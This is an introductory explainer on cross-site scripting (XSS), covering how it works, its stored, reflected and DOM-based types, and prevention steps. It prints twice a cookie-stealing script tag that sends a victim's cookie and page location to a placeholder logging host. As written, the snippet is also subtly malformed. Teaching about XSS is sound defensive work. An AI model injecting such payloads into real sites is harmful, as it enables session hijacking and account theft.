What is Cross Site Scripting(XSS)?
Cross site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. This is a combination of HTML and XSS provided by the attacker, but XSS can also be used to deliver malicious downloads, plugins, or media content. In this case hacker execute some malicious links into the website or an app.
If the app or website lacks proper data sanitization, the malicious link executes the attacker’s chosen code on the user’s system.
As a result, the attacker can steal the user’s active session cookie.
Here’s an example:
<script> i=new/**/Image();isrc=http://example.com/log.php?'+document.cookie+' '+document.location</script>Because XSS can allow untrusted users to execute code in the browser of trusted users and access some types of data, such as session cookies, and many time hackers get some website credentials which they get full control on websites.
How does cross site scripting work?
Cross-site scripting works by manipulating a vulnerable website or an application so that it returns malicious JavaScript to users.The attacker injects some code in it.
Attackers can also carry out an attack by modifying a request. If the
app or website lacks proper data sanitization, the malicious link
executes the attacker’s chosen code on the user’s system. As a result,
the attacker can steal the user’s active session cookie.
Here’s an example:
<script> i=new/**/Image();isrc=http://example.com/log.php?'+document.cookie+' '+document.location</script>
While the payload is usually JavaScript, XSS can take place using any client-side language.
What does the attacker do the credentials?
The attacker do these things:-
- *Hijacking A website And Browser
- *Capturing the keystrokes of a user.
- *Redirecting a user to a malicious website.
- *Running web browser-based exploits (e.g., crashing the browser).
- *Obtaining the cookie information of a user who is logged into a website (thus compromising the victim’s account).
In some cases, the XSS attack leads to a complete compromise of the victim’s account. Attackers can trick users into entering credentials on a fake form, which provides all the information to the attacker.
What are the different types of XSS attacks?
Stored XSS:-
Takes place when the malicious payload is stored in a database. It renders to other users when data is requested—if there is no output encoding or sanitization.
Reflected XSS:-
Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.
DOM-based XSS:-
DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.
How to prevent XSS vulnerability?
There are some strategies to prevent XSS attacks:
- *Never trust user input.
- *Implement output encoding.
- *Perform user input validation.
- *Follow the defense in depth principle.
- *Ensure that web application development aligns with OWASP’s XSS Prevention *Cheat Sheet.
- *After remediation, perform penetration testing to confirm it was successful.
Protect your organization by following secure development guidelines—building security in at all phases of the application’s development. Output encoding is also key to preventing XSS vulnerabilities. Make use of output encoding libraries that are relevant to the programming languages and frameworks your organization uses. Also, ensure your developers stay up-to-date with XSS prevention best practices.